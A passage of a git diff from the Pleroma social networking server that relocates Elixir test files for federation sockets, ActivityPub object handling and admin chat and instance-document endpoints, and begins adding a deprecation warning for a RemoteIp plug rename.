b/test/pleroma/web/fed_sockets/fetch_registry_test.exs @@ -0,0 +1,67 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.FedSockets.FetchRegistryTest do + use ExUnit.Case + + alias Pleroma.Web.FedSockets.FetchRegistry + alias Pleroma.Web.FedSockets.FetchRegistry.FetchRegistryData + + @json_message "hello" + @json_reply "hello back" + + setup do + start_supervised( + {Pleroma.Web.FedSockets.Supervisor, + [ + ping_interval: 8, + connection_duration: 15, + rejection_duration: 5, + fed_socket_fetches: [default: 10, interval: 10] + ]} + ) + + :ok + end + + test "fetches can be stored" do + uuid = FetchRegistry.register_fetch(@json_message) + + assert {:error, :waiting} = FetchRegistry.check_fetch(uuid) + end + + test "fetches can return" do + uuid = FetchRegistry.register_fetch(@json_message) + task = Task.async(fn -> FetchRegistry.register_fetch_received(uuid, @json_reply) end) + + assert {:error, :waiting} = FetchRegistry.check_fetch(uuid) + Task.await(task) + + assert {:ok, %FetchRegistryData{received_json: received_json}} = + FetchRegistry.check_fetch(uuid) + + assert received_json == @json_reply + end + + test "fetches are deleted once popped from stack" do + uuid = FetchRegistry.register_fetch(@json_message) + task = Task.async(fn -> FetchRegistry.register_fetch_received(uuid, @json_reply) end) + Task.await(task) + + assert {:ok, %FetchRegistryData{received_json: received_json}} = + FetchRegistry.check_fetch(uuid) + + assert received_json == @json_reply + assert {:ok, @json_reply} = FetchRegistry.pop_fetch(uuid) + + assert {:error, :missing} = FetchRegistry.check_fetch(uuid) + end + + test "fetches can time out" do + uuid = FetchRegistry.register_fetch(@json_message) + assert {:error, :waiting} = FetchRegistry.check_fetch(uuid) + Process.sleep(500) + assert {:error, :missing} = FetchRegistry.check_fetch(uuid) + end +end diff --git a/test/pleroma/web/fed_sockets/socket_info_test.exs b/test/pleroma/web/fed_sockets/socket_info_test.exs new file mode 100644 index 000000000..db3d6edcd --- /dev/null +++ b/test/pleroma/web/fed_sockets/socket_info_test.exs @@ -0,0 +1,118 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.FedSockets.SocketInfoTest do + use ExUnit.Case + + alias Pleroma.Web.FedSockets + alias Pleroma.Web.FedSockets.SocketInfo + + describe "uri_for_origin" do + test "provides the fed_socket URL given the origin information" do + endpoint = "example.com:4000" + assert FedSockets.uri_for_origin(endpoint) =~ "ws://" + assert FedSockets.uri_for_origin(endpoint) =~ endpoint + end + end + + describe "origin" do + test "will provide the origin field given a url" do + endpoint = "example.com:4000" + assert SocketInfo.origin("ws://#{endpoint}") == endpoint + assert SocketInfo.origin("http://#{endpoint}") == endpoint + assert SocketInfo.origin("https://#{endpoint}") == endpoint + end + + test "will proide the origin field given a uri" do + endpoint = "example.com:4000" + uri = URI.parse("http://#{endpoint}") + + assert SocketInfo.origin(uri) == endpoint + end + end + + describe "touch" do + test "will update the TTL" do + endpoint = "example.com:4000" + socket = SocketInfo.build("ws://#{endpoint}") + Process.sleep(2) + touched_socket = SocketInfo.touch(socket) + + assert socket.connected_until < touched_socket.connected_until + end + end + + describe "expired?" do + setup do + start_supervised( + {Pleroma.Web.FedSockets.Supervisor, + [ + ping_interval: 8, + connection_duration: 5, + rejection_duration: 5, + fed_socket_rejections: [lazy: true] + ]} + ) + + :ok + end + + test "tests if the TTL is exceeded" do + endpoint = "example.com:4000" + socket = SocketInfo.build("ws://#{endpoint}") + refute SocketInfo.expired?(socket) + Process.sleep(10) + + assert SocketInfo.expired?(socket) + end + end + + describe "creating outgoing connection records" do + test "can be passed a string" do + assert %{conn_pid: :pid, origin: _origin} = SocketInfo.build("example.com:4000", :pid) + end + + test "can be passed a URI" do + uri = URI.parse("http://example.com:4000") + assert %{conn_pid: :pid, origin: origin} = SocketInfo.build(uri, :pid) + assert origin =~ "example.com:4000" + end + + test "will include the port number" do + assert %{conn_pid: :pid, origin: origin} = SocketInfo.build("http://example.com:4000", :pid) + + assert origin =~ ":4000" + end + + test "will provide the port if missing" do + assert %{conn_pid: :pid, origin: "example.com:80"} = + SocketInfo.build("http://example.com", :pid) + + assert %{conn_pid: :pid, origin: "example.com:443"} = + SocketInfo.build("https://example.com", :pid) + end + end + + describe "creating incoming connection records" do + test "can be passed a string" do + assert %{pid: _, origin: _origin} = SocketInfo.build("example.com:4000") + end + + test "can be passed a URI" do + uri = URI.parse("example.com:4000") + assert %{pid: _, origin: _origin} = SocketInfo.build(uri) + end + + test "will include the port number" do + assert %{pid: _, origin: origin} = SocketInfo.build("http://example.com:4000") + + assert origin =~ ":4000" + end + + test "will provide the port if missing" do + assert %{pid: _, origin: "example.com:80"} = SocketInfo.build("http://example.com") + assert %{pid: _, origin: "example.com:443"} = SocketInfo.build("https://example.com") + end + end +end diff --git a/test/web/activity_pub/object_validators/article_note_validator_test.exs b/test/web/activity_pub/object_validators/article_note_validator_test.exs deleted file mode 100644 index cc6dab872..000000000 --- a/test/web/activity_pub/object_validators/article_note_validator_test.exs +++ /dev/null @@ -1,35 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.ObjectValidators.ArticleNoteValidatorTest do - use Pleroma.DataCase - - alias Pleroma.Web.ActivityPub.ObjectValidators.ArticleNoteValidator - alias Pleroma.Web.ActivityPub.Utils - - import Pleroma.Factory - - describe "Notes" do - setup do - user = insert(:user) - - note = %{ - "id" => Utils.generate_activity_id(), - "type" => "Note", - "actor" => user.ap_id, - "to" => [user.follower_address], - "cc" => [], - "content" => "Hellow this is content.", - "context" => "xxx", - "summary" => "a post" - } - - %{user: user, note: note} - end - - test "a basic note validates", %{note: note} do - %{valid?: true} = ArticleNoteValidator.cast_and_validate(note) - end - end -end diff --git a/test/web/activity_pub/transmogrifier/article_handling_test.exs b/test/web/activity_pub/transmogrifier/article_handling_test.exs deleted file mode 100644 index 9b12a470a..000000000 --- a/test/web/activity_pub/transmogrifier/article_handling_test.exs +++ /dev/null @@ -1,75 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.Transmogrifier.ArticleHandlingTest do - use Oban.Testing, repo: Pleroma.Repo - use Pleroma.DataCase - - alias Pleroma.Activity - alias Pleroma.Object - alias Pleroma.Object.Fetcher - alias Pleroma.Web.ActivityPub.Transmogrifier - - test "Pterotype (Wordpress Plugin) Article" do - Tesla.Mock.mock(fn %{url: "https://wedistribute.org/wp-json/pterotype/v1/actor/-blog"} -> - %Tesla.Env{status: 200, body: File.read!("test/fixtures/tesla_mock/wedistribute-user.json")} - end) - - data = - File.read!("test/fixtures/tesla_mock/wedistribute-create-article.json") |> Jason.decode!() - - {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) - - object = Object.normalize(data["object"]) - - assert object.data["name"] == "The end is near: Mastodon plans to drop OStatus support" - - assert object.data["summary"] == - "One of the largest platforms in the federated social web is dropping the protocol that it started with." - - assert object.data["url"] == "https://wedistribute.org/2019/07/mastodon-drops-ostatus/" - end - - test "Plume Article" do - Tesla.Mock.mock(fn - %{url: "https://baptiste.gelez.xyz/~/PlumeDevelopment/this-month-in-plume-june-2018/"} -> - %Tesla.Env{ - status: 200, - body: File.read!("test/fixtures/tesla_mock/baptiste.gelex.xyz-article.json") - } - - %{url: "https://baptiste.gelez.xyz/@/BaptisteGelez"} -> - %Tesla.Env{ - status: 200, - body: File.read!("test/fixtures/tesla_mock/baptiste.gelex.xyz-user.json") - } - end) - - {:ok, object} = - Fetcher.fetch_object_from_id( - "https://baptiste.gelez.xyz/~/PlumeDevelopment/this-month-in-plume-june-2018/" - ) - - assert object.data["name"] == "This Month in Plume: June 2018" - - assert object.data["url"] == - "https://baptiste.gelez.xyz/~/PlumeDevelopment/this-month-in-plume-june-2018/" - end - - test "Prismo Article" do - Tesla.Mock.mock(fn %{url: "https://prismo.news/@mxb"} -> - %Tesla.Env{ - status: 200, - body: File.read!("test/fixtures/tesla_mock/https___prismo.news__mxb.json") - } - end) - - data = File.read!("test/fixtures/prismo-url-map.json") |> Jason.decode!() - - {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) - object = Object.normalize(data["object"]) - - assert object.data["url"] == "https://prismo.news/posts/83" - end -end diff --git a/test/web/activity_pub/transmogrifier/video_handling_test.exs b/test/web/activity_pub/transmogrifier/video_handling_test.exs deleted file mode 100644 index 69c953a2e..000000000 --- a/test/web/activity_pub/transmogrifier/video_handling_test.exs +++ /dev/null @@ -1,93 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.Transmogrifier.VideoHandlingTest do - use Oban.Testing, repo: Pleroma.Repo - use Pleroma.DataCase - - alias Pleroma.Activity - alias Pleroma.Object - alias Pleroma.Object.Fetcher - alias Pleroma.Web.ActivityPub.Transmogrifier - - setup_all do - Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end) - :ok - end - - test "skip converting the content when it is nil" do - data = - File.read!("test/fixtures/tesla_mock/framatube.org-video.json") - |> Jason.decode!() - |> Kernel.put_in(["object", "content"], nil) - - {:ok, %Activity{local: false} = activity} = Transmogrifier.handle_incoming(data) - - assert object = Object.normalize(activity, false) - - assert object.data["content"] == nil - end - - test "it converts content of object to html" do - data = File.read!("test/fixtures/tesla_mock/framatube.org-video.json") |> Jason.decode!() - - {:ok, %Activity{local: false} = activity} = Transmogrifier.handle_incoming(data) - - assert object = Object.normalize(activity, false) - - assert object.data["content"] == - "<p>Après avoir mené avec un certain succès la campagne « Dégooglisons Internet » en 2014, l’association Framasoft annonce fin 2019 arrêter progressivement un certain nombre de ses services alternatifs aux GAFAM. Pourquoi ?</p><p>Transcription par @aprilorg ici : <a href=\"https://www.april.org/deframasoftisons-internet-pierre-yves-gosset-framasoft\">https://www.april.org/deframasoftisons-internet-pierre-yves-gosset-framasoft</a></p>" - end - - test "it remaps video URLs as attachments if necessary" do - {:ok, object} = - Fetcher.fetch_object_from_id( - "https://peertube.moe/videos/watch/df5f464b-be8d-46fb-ad81-2d4c2d1630e3" - ) - - assert object.data["url"] == - "https://peertube.moe/videos/watch/df5f464b-be8d-46fb-ad81-2d4c2d1630e3" - - assert object.data["attachment"] == [ - %{ - "type" => "Link", - "mediaType" => "video/mp4", - "name" => nil, - "url" => [ - %{ - "href" => - "https://peertube.moe/static/webseed/df5f464b-be8d-46fb-ad81-2d4c2d1630e3-480.mp4", - "mediaType" => "video/mp4", - "type" => "Link" - } - ] - } - ] - - data = File.read!("test/fixtures/tesla_mock/framatube.org-video.json") |> Jason.decode!() - - {:ok, %Activity{local: false} = activity} = Transmogrifier.handle_incoming(data) - - assert object = Object.normalize(activity, false) - - assert object.data["attachment"] == [ - %{ - "type" => "Link", - "mediaType" => "video/mp4", - "name" => nil, - "url" => [ - %{ - "href" => - "https://framatube.org/static/webseed/6050732a-8a7a-43d4-a6cd-809525a1d206-1080.mp4", - "mediaType" => "video/mp4", - "type" => "Link" - } - ] - } - ] - - assert object.data["url"] == - "https://framatube.org/videos/watch/6050732a-8a7a-43d4-a6cd-809525a1d206" - end -end diff --git a/test/web/admin_api/controllers/chat_controller_test.exs b/test/web/admin_api/controllers/chat_controller_test.exs deleted file mode 100644 index bd4c9c9d1..000000000 --- a/test/web/admin_api/controllers/chat_controller_test.exs +++ /dev/null @@ -1,219 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.AdminAPI.ChatControllerTest do - use Pleroma.Web.ConnCase - - import Pleroma.Factory - - alias Pleroma.Chat - alias Pleroma.Chat.MessageReference - alias Pleroma.Config - alias Pleroma.ModerationLog - alias Pleroma.Object - alias Pleroma.Repo - alias Pleroma.Web.CommonAPI - - defp admin_setup do - admin = insert(:user, is_admin: true) - token = insert(:oauth_admin_token, user: admin) - - conn = - build_conn() - |> assign(:user, admin) - |> assign(:token, token) - - {:ok, %{admin: admin, token: token, conn: conn}} - end - - describe "DELETE /api/pleroma/admin/chats/:id/messages/:message_id" do - setup do: admin_setup() - - test "it deletes a message from the chat", %{conn: conn, admin: admin} do - user = insert(:user) - recipient = insert(:user) - - {:ok, message} = - CommonAPI.post_chat_message(user, recipient, "Hello darkness my old friend") - - object = Object.normalize(message, false) - - chat = Chat.get(user.id, recipient.ap_id) - recipient_chat = Chat.get(recipient.id, user.ap_id) - - cm_ref = MessageReference.for_chat_and_object(chat, object) - recipient_cm_ref = MessageReference.for_chat_and_object(recipient_chat, object) - - result = - conn - |> put_req_header("content-type", "application/json") - |> delete("/api/pleroma/admin/chats/#{chat.id}/messages/#{cm_ref.id}") - |> json_response_and_validate_schema(200) - - log_entry = Repo.one(ModerationLog) - - assert ModerationLog.get_log_entry_message(log_entry) == - "@#{admin.nickname} deleted chat message ##{cm_ref.id}" - - assert result["id"] == cm_ref.id - refute MessageReference.get_by_id(cm_ref.id) - refute MessageReference.get_by_id(recipient_cm_ref.id) - assert %{data: %{"type" => "Tombstone"}} = Object.get_by_id(object.id) - end - end - - describe "GET /api/pleroma/admin/chats/:id/messages" do - setup do: admin_setup() - - test "it paginates", %{conn: conn} do - user = insert(:user) - recipient = insert(:user) - - Enum.each(1..30, fn _ -> - {:ok, _} = CommonAPI.post_chat_message(user, recipient, "hey") - end) - - chat = Chat.get(user.id, recipient.ap_id) - - result = - conn - |> get("/api/pleroma/admin/chats/#{chat.id}/messages") - |> json_response_and_validate_schema(200) - - assert length(result) == 20 - - result = - conn - |> get("/api/pleroma/admin/chats/#{chat.id}/messages?max_id=#{List.last(result)["id"]}") - |> json_response_and_validate_schema(200) - - assert length(result) == 10 - end - - test "it returns the messages for a given chat", %{conn: conn} do - user = insert(:user) - other_user = insert(:user) - third_user = insert(:user) - - {:ok, _} = CommonAPI.post_chat_message(user, other_user, "hey") - {:ok, _} = CommonAPI.post_chat_message(user, third_user, "hey") - {:ok, _} = CommonAPI.post_chat_message(user, other_user, "how are you?") - {:ok, _} = CommonAPI.post_chat_message(other_user, user, "fine, how about you?") - - chat = Chat.get(user.id, other_user.ap_id) - - result = - conn - |> get("/api/pleroma/admin/chats/#{chat.id}/messages") - |> json_response_and_validate_schema(200) - - result - |> Enum.each(fn message -> - assert message["chat_id"] == chat.id |> to_string() - end) - - assert length(result) == 3 - end - end - - describe "GET /api/pleroma/admin/chats/:id" do - setup do: admin_setup() - - test "it returns a chat", %{conn: conn} do - user = insert(:user) - other_user = insert(:user) - - {:ok, chat} = Chat.get_or_create(user.id, other_user.ap_id) - - result = - conn - |> get("/api/pleroma/admin/chats/#{chat.id}") - |> json_response_and_validate_schema(200) - - assert result["id"] == to_string(chat.id) - assert %{} = result["sender"] - assert %{} = result["receiver"] - refute result["account"] - end - end - - describe "unauthorized chat moderation" do - setup do - user = insert(:user) - recipient = insert(:user) - - {:ok, message} = CommonAPI.post_chat_message(user, recipient, "Yo") - object = Object.normalize(message, false) - chat = Chat.get(user.id, recipient.ap_id) - cm_ref = MessageReference.for_chat_and_object(chat, object) - - %{conn: conn} = oauth_access(["read:chats", "write:chats"]) - %{conn: conn, chat: chat, cm_ref: cm_ref} - end - - test "DELETE /api/pleroma/admin/chats/:id/messages/:message_id", %{ - conn: conn, - chat: chat, - cm_ref: cm_ref - } do - conn - |> put_req_header("content-type", "application/json") - |> delete("/api/pleroma/admin/chats/#{chat.id}/messages/#{cm_ref.id}") - |> json_response(403) - - assert MessageReference.get_by_id(cm_ref.id) == cm_ref - end - - test "GET /api/pleroma/admin/chats/:id/messages", %{conn: conn, chat: chat} do - conn - |> get("/api/pleroma/admin/chats/#{chat.id}/messages") - |> json_response(403) - end - - test "GET /api/pleroma/admin/chats/:id", %{conn: conn, chat: chat} do - conn - |> get("/api/pleroma/admin/chats/#{chat.id}") - |> json_response(403) - end - end - - describe "unauthenticated chat moderation" do - setup do - user = insert(:user) - recipient = insert(:user) - - {:ok, message} = CommonAPI.post_chat_message(user, recipient, "Yo") - object = Object.normalize(message, false) - chat = Chat.get(user.id, recipient.ap_id) - cm_ref = MessageReference.for_chat_and_object(chat, object) - - %{conn: build_conn(), chat: chat, cm_ref: cm_ref} - end - - test "DELETE /api/pleroma/admin/chats/:id/messages/:message_id", %{ - conn: conn, - chat: chat, - cm_ref: cm_ref - } do - conn - |> put_req_header("content-type", "application/json") - |> delete("/api/pleroma/admin/chats/#{chat.id}/messages/#{cm_ref.id}") - |> json_response(403) - - assert MessageReference.get_by_id(cm_ref.id) == cm_ref - end - - test "GET /api/pleroma/admin/chats/:id/messages", %{conn: conn, chat: chat} do - conn - |> get("/api/pleroma/admin/chats/#{chat.id}/messages") - |> json_response(403) - end - - test "GET /api/pleroma/admin/chats/:id", %{conn: conn, chat: chat} do - conn - |> get("/api/pleroma/admin/chats/#{chat.id}") - |> json_response(403) - end - end -end diff --git a/test/web/admin_api/controllers/instance_document_controller_test.exs b/test/web/admin_api/controllers/instance_document_controller_test.exs deleted file mode 100644 index 5f7b042f6..000000000 --- a/test/web/admin_api/controllers/instance_document_controller_test.exs +++ /dev/null @@ -1,106 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.AdminAPI.InstanceDocumentControllerTest do - use Pleroma.Web.ConnCase, async: true - import Pleroma.Factory - alias Pleroma.Config - - @dir "test/tmp/instance_static" - @default_instance_panel ~s(<p>Welcome to <a href="https://pleroma.social" target="_blank">Pleroma!</a></p>) - - setup do - File.mkdir_p!(@dir) - on_exit(fn -> File.rm_rf(@dir) end) - end - - setup do: clear_config([:instance, :static_dir], @dir) - - setup do - admin = insert(:user, is_admin: true) - token = insert(:oauth_admin_token, user: admin) - - conn = - build_conn() - |> assign(:user, admin) - |> assign(:token, token) - - {:ok, %{admin: admin, token: token, conn: conn}} - end - - describe "GET /api/pleroma/admin/instance_document/:name" do - test "return the instance document url", %{conn: conn} do - conn = get(conn, "/api/pleroma/admin/instance_document/instance-panel") - - assert content = html_response(conn, 200) - assert String.contains?(content, @default_instance_panel) - end - - test "it returns 403 if requested by a non-admin" do - non_admin_user = insert(:user) - token = insert(:oauth_token, user: non_admin_user) - - conn = - build_conn() - |> assign(:user, non_admin_user) - |> assign(:token, token) - |> get("/api/pleroma/admin/instance_document/instance-panel") - - assert json_response(conn, :forbidden) - end - - test "it returns 404 if the instance document with the given name doesn't exist", %{ - conn: conn - } do - conn = get(conn, "/api/pleroma/admin/instance_document/1234") - - assert json_response_and_validate_schema(conn, 404) - end - end - - describe "PATCH /api/pleroma/admin/instance_document/:name" do - test "uploads the instance document", %{conn: conn} do - image = %Plug.Upload{ - content_type: "text/html", - path: Path.absname("test/fixtures/custom_instance_panel.html"), - filename: "custom_instance_panel.html" - } - - conn = - conn - |> put_req_header("content-type", "multipart/form-data") - |> patch("/api/pleroma/admin/instance_document/instance-panel", %{ - "file" => image - }) - - assert %{"url" => url} = json_response_and_validate_schema(conn, 200) - index = get(build_conn(), url) - assert html_response(index, 200) == "<h2>Custom instance panel</h2>" - end - end - - describe "DELETE /api/pleroma/admin/instance_document/:name" do - test "deletes the instance document", %{conn: conn} do - File.mkdir!(@dir <> "/instance/") - File.write!(@dir <> "/instance/panel.html", "Custom instance panel") - - conn_resp = - conn - |> get("/api/pleroma/admin/instance_document/instance-panel") - - assert html_response(conn_resp, 200) == "Custom instance panel" - - conn - |> delete("/api/pleroma/admin/instance_document/instance-panel") - |> json_response_and_validate_schema(200) - - conn_resp = - conn - |> get("/api/pleroma/admin/instance_document/instance-panel") - - assert content = html_response(conn_resp, 200) - assert String.contains?(content, @default_instance_panel) - end - end -end diff --git a/test/web/fed_sockets/fed_registry_test.exs b/test/web/fed_sockets/fed_registry_test.exs deleted file mode 100644 index 19ac874d6..000000000 --- a/test/web/fed_sockets/fed_registry_test.exs +++ /dev/null @@ -1,124 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.FedSockets.FedRegistryTest do - use ExUnit.Case - - alias Pleroma.Web.FedSockets - alias Pleroma.Web.FedSockets.FedRegistry - alias Pleroma.Web.FedSockets.SocketInfo - - @good_domain "http://good.domain" - @good_domain_origin "good.domain:80" - - setup do - start_supervised({Pleroma.Web.FedSockets.Supervisor, []}) - build_test_socket(@good_domain) - Process.sleep(10) - - :ok - end - - describe "add_fed_socket/1 without conflicting sockets" do - test "can be added" do - Process.sleep(10) - assert {:ok, %SocketInfo{origin: origin}} = FedRegistry.get_fed_socket(@good_domain_origin) - assert origin == "good.domain:80" - end - - test "multiple origins can be added" do - build_test_socket("http://anothergood.domain") - Process.sleep(10) - - assert {:ok, %SocketInfo{origin: origin_1}} = - FedRegistry.get_fed_socket(@good_domain_origin) - - assert {:ok, %SocketInfo{origin: origin_2}} = - FedRegistry.get_fed_socket("anothergood.domain:80") - - assert origin_1 == "good.domain:80" - assert origin_2 == "anothergood.domain:80" - assert FedRegistry.list_all() |> Enum.count() == 2 - end - end - - describe "add_fed_socket/1 when duplicate sockets conflict" do - setup do - build_test_socket(@good_domain) - build_test_socket(@good_domain) - Process.sleep(10) - :ok - end - - test "will be ignored" do - assert {:ok, %SocketInfo{origin: origin, pid: pid_one}} = - FedRegistry.get_fed_socket(@good_domain_origin) - - assert origin == "good.domain:80" - - assert FedRegistry.list_all() |> Enum.count() == 1 - end - - test "the newer process will be closed" do - pid_two = build_test_socket(@good_domain) - - assert {:ok, %SocketInfo{origin: origin, pid: pid_one}} = - FedRegistry.get_fed_socket(@good_domain_origin) - - assert origin == "good.domain:80" - Process.sleep(10) - - refute Process.alive?(pid_two) - - assert FedRegistry.list_all() |> Enum.count() == 1 - end - end - - describe "get_fed_socket/1" do - test "returns missing for unknown hosts" do - assert {:error, :missing} = FedRegistry.get_fed_socket("not_a_dmoain") - end - - test "returns rejected for hosts previously rejected" do - "rejected.domain:80" - |> FedSockets.uri_for_origin() - |> FedRegistry.set_host_rejected() - - assert {:error, :rejected} = FedRegistry.get_fed_socket("rejected.domain:80") - end - - test "can retrieve a previously added SocketInfo" do - build_test_socket(@good_domain) - Process.sleep(10) - assert {:ok, %SocketInfo{origin: origin}} = FedRegistry.get_fed_socket(@good_domain_origin) - assert origin == "good.domain:80" - end - - test "removes references to SocketInfos when the process crashes" do - assert {:ok, %SocketInfo{origin: origin, pid: pid}} = - FedRegistry.get_fed_socket(@good_domain_origin) - - assert origin == "good.domain:80" - - Process.exit(pid, :testing) - Process.sleep(100) - assert {:error, :missing} = FedRegistry.get_fed_socket(@good_domain_origin) - end - end - - def build_test_socket(uri) do - Kernel.spawn(fn -> fed_socket_almost(uri) end) - end - - def fed_socket_almost(origin) do - FedRegistry.add_fed_socket(origin) - - receive do - :close -> - :ok - after - 5_000 -> :timeout - end - end -end diff --git a/test/web/fed_sockets/fetch_registry_test.exs b/test/web/fed_sockets/fetch_registry_test.exs deleted file mode 100644 index 7bd2d995a..000000000 --- a/test/web/fed_sockets/fetch_registry_test.exs +++ /dev/null @@ -1,67 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.FedSockets.FetchRegistryTest do - use ExUnit.Case - - alias Pleroma.Web.FedSockets.FetchRegistry - alias Pleroma.Web.FedSockets.FetchRegistry.FetchRegistryData - - @json_message "hello" - @json_reply "hello back" - - setup do - start_supervised( - {Pleroma.Web.FedSockets.Supervisor, - [ - ping_interval: 8, - connection_duration: 15, - rejection_duration: 5, - fed_socket_fetches: [default: 10, interval: 10] - ]} - ) - - :ok - end - - test "fetches can be stored" do - uuid = FetchRegistry.register_fetch(@json_message) - - assert {:error, :waiting} = FetchRegistry.check_fetch(uuid) - end - - test "fetches can return" do - uuid = FetchRegistry.register_fetch(@json_message) - task = Task.async(fn -> FetchRegistry.register_fetch_received(uuid, @json_reply) end) - - assert {:error, :waiting} = FetchRegistry.check_fetch(uuid) - Task.await(task) - - assert {:ok, %FetchRegistryData{received_json: received_json}} = - FetchRegistry.check_fetch(uuid) - - assert received_json == @json_reply - end - - test "fetches are deleted once popped from stack" do - uuid = FetchRegistry.register_fetch(@json_message) - task = Task.async(fn -> FetchRegistry.register_fetch_received(uuid, @json_reply) end) - Task.await(task) - - assert {:ok, %FetchRegistryData{received_json: received_json}} = - FetchRegistry.check_fetch(uuid) - - assert received_json == @json_reply - assert {:ok, @json_reply} = FetchRegistry.pop_fetch(uuid) - - assert {:error, :missing} = FetchRegistry.check_fetch(uuid) - end - - test "fetches can time out" do - uuid = FetchRegistry.register_fetch(@json_message) - assert {:error, :waiting} = FetchRegistry.check_fetch(uuid) - Process.sleep(500) - assert {:error, :missing} = FetchRegistry.check_fetch(uuid) - end -end diff --git a/test/web/fed_sockets/socket_info_test.exs b/test/web/fed_sockets/socket_info_test.exs deleted file mode 100644 index db3d6edcd..000000000 --- a/test/web/fed_sockets/socket_info_test.exs +++ /dev/null @@ -1,118 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.FedSockets.SocketInfoTest do - use ExUnit.Case - - alias Pleroma.Web.FedSockets - alias Pleroma.Web.FedSockets.SocketInfo - - describe "uri_for_origin" do - test "provides the fed_socket URL given the origin information" do - endpoint = "example.com:4000" - assert FedSockets.uri_for_origin(endpoint) =~ "ws://" - assert FedSockets.uri_for_origin(endpoint) =~ endpoint - end - end - - describe "origin" do - test "will provide the origin field given a url" do - endpoint = "example.com:4000" - assert SocketInfo.origin("ws://#{endpoint}") == endpoint - assert SocketInfo.origin("http://#{endpoint}") == endpoint - assert SocketInfo.origin("https://#{endpoint}") == endpoint - end - - test "will proide the origin field given a uri" do - endpoint = "example.com:4000" - uri = URI.parse("http://#{endpoint}") - - assert SocketInfo.origin(uri) == endpoint - end - end - - describe "touch" do - test "will update the TTL" do - endpoint = "example.com:4000" - socket = SocketInfo.build("ws://#{endpoint}") - Process.sleep(2) - touched_socket = SocketInfo.touch(socket) - - assert socket.connected_until < touched_socket.connected_until - end - end - - describe "expired?" do - setup do - start_supervised( - {Pleroma.Web.FedSockets.Supervisor, - [ - ping_interval: 8, - connection_duration: 5, - rejection_duration: 5, - fed_socket_rejections: [lazy: true] - ]} - ) - - :ok - end - - test "tests if the TTL is exceeded" do - endpoint = "example.com:4000" - socket = SocketInfo.build("ws://#{endpoint}") - refute SocketInfo.expired?(socket) - Process.sleep(10) - - assert SocketInfo.expired?(socket) - end - end - - describe "creating outgoing connection records" do - test "can be passed a string" do - assert %{conn_pid: :pid, origin: _origin} = SocketInfo.build("example.com:4000", :pid) - end - - test "can be passed a URI" do - uri = URI.parse("http://example.com:4000") - assert %{conn_pid: :pid, origin: origin} = SocketInfo.build(uri, :pid) - assert origin =~ "example.com:4000" - end - - test "will include the port number" do - assert %{conn_pid: :pid, origin: origin} = SocketInfo.build("http://example.com:4000", :pid) - - assert origin =~ ":4000" - end - - test "will provide the port if missing" do - assert %{conn_pid: :pid, origin: "example.com:80"} = - SocketInfo.build("http://example.com", :pid) - - assert %{conn_pid: :pid, origin: "example.com:443"} = - SocketInfo.build("https://example.com", :pid) - end - end - - describe "creating incoming connection records" do - test "can be passed a string" do - assert %{pid: _, origin: _origin} = SocketInfo.build("example.com:4000") - end - - test "can be passed a URI" do - uri = URI.parse("example.com:4000") - assert %{pid: _, origin: _origin} = SocketInfo.build(uri) - end - - test "will include the port number" do - assert %{pid: _, origin: origin} = SocketInfo.build("http://example.com:4000") - - assert origin =~ ":4000" - end - - test "will provide the port if missing" do - assert %{pid: _, origin: "example.com:80"} = SocketInfo.build("http://example.com") - assert %{pid: _, origin: "example.com:443"} = SocketInfo.build("https://example.com") - end - end -end -- cgit v1.2.3 From 3cb9c88837f3105363c5a615724b6363ee926d35 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Sat, 19 Sep 2020 21:44:02 +0300 Subject: migration and warning for RemoteIp plug rename --- lib/pleroma/config/deprecation_warnings.ex | 19 ++++++++++++++++++- .../20200919182636_remoteip_plug_rename.exs | 19 +++++++++++++++++++ 2 files changed, 37 insertions(+), 1 deletion(-) create mode 100644 priv/repo/migrations/20200919182636_remoteip_plug_rename.exs diff --git a/lib/pleroma/config/deprecation_warnings.ex b/lib/pleroma/config/deprecation_warnings.ex index 4ba6eaa77..59c6b0f58 100644 --- a/lib/pleroma/config/deprecation_warnings.ex +++ b/lib/pleroma/config/deprecation_warnings.ex @@ -39,7 +39,8 @@ def warn do :ok <- check_media_proxy_whitelist_config(), :ok <- check_welcome_message_config(), :ok <- check_gun_pool_options(), - :ok <- check_activity_expiration_config() do + :ok <- check_activity_expiration_config(), + :ok <- check_remote_ip_plug_name() do :ok else _ -> @@ -176,4 +177,20 @@ def check_activity_expiration_config do warning_preface ) end + + @spec check_remote_ip_plug_name() :: :ok | nil + def check_remote_ip_plug_name do + warning_preface = """ + !!!DEPRECATION WARNING!!! + 